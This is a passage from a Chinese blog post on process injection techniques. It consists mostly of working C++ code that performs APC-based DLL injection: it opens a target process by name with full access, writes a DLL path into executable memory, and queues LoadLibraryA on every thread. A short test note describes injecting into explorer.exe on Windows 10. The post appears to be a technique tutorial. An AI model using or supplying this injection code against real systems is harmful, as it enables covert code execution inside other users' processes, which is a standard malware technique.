SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;

do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}

// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}

// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}

// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}

// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}

// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}

bRet = TRUE;

} while (FALSE);

// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}

return bRet;
}

测试

将上述函数编译为64位程序,在64位Windows10系统上直接运行,对资源管理器进程explorer.exe进行APC注入。

image-20221027111041185


注入技术
http://wangchenchina.github.io/2022/10/27/注入技术/
作者
Demo
发布于
2022年10月27日
许可协议